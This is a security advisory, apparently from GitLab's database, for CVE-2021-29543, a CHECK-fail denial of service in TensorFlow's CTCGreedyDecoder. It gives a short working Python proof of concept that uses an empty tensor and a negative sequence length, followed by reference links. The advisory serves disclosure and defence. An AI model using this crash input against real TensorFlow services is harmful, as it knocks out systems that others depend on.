CVE-2021-29543: CHECK-fail in `CTCGreedyDecoder`
(updated )
An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.CTCGreedyDecoder:
import tensorflow as tf
inputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)
sequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)
merge_repeated = False
tf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)
References
- github.com/advisories/GHSA-fphq-gw9m-ghrv
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-471.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-669.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-180.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/ea3b43e98c32c97b35d52b4c66f9107452ca8fb2
- github.com/tensorflow/tensorflow/security/advisories/GHSA-fphq-gw9m-ghrv
- nvd.nist.gov/vuln/detail/CVE-2021-29543
Code Behaviors & Features
Detect and mitigate CVE-2021-29543 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →